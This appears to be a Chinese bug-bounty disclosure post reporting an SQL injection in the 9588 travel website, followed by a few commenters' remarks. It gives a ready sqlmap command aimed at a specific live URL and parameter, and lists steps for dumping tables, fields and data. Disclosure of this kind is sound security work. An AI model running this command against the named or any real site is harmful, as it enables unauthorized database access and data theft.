9588旅行网SQL注入漏洞可获取大量数据

9588旅行网存在sqlmap注入漏洞。

用sqlmap注入

python sqlmap.py -u http://www.9588.com/default.aspx?cooperateid=92545 --tables

遍历数据库

遍历字段

数据

厂商回应：

未能联系到厂商或者厂商积极拒绝

1. 2014-09-28 09:07 | kydhzy ( 普通白帽子 | Rank:362 漏洞数:62 | 软件测试)

   0

   为嘛我找了半天没找到 ，，，

   1# 回复此人

2. 2014-09-28 17:09 | ki11y0u ( 普通白帽子 | Rank:140 漏洞数:28 | 好好学习，求带飞 ~~~~~~~~~~~~~~~~~~~~~~...)

   0

   为嘛我找了半天没找到 ，，，

   2# 回复此人

3. 2014-09-28 17:19 | kydhzy ( 普通白帽子 | Rank:362 漏洞数:62 | 软件测试)

   0

   @ki11y0u 带我xss

   3# 回复此人

4. 2014-09-28 17:27 | ki11y0u ( 普通白帽子 | Rank:140 漏洞数:28 | 好好学习，求带飞 ~~~~~~~~~~~~~~~~~~~~~~...)

   0

   @kydhzy 一块学习～

   4# 回复此人

5. 2014-11-11 22:33 | kydhzy ( 普通白帽子 | Rank:362 漏洞数:62 | 软件测试)

   1

   怎么看都觉得不是9588的

   5# 回复此人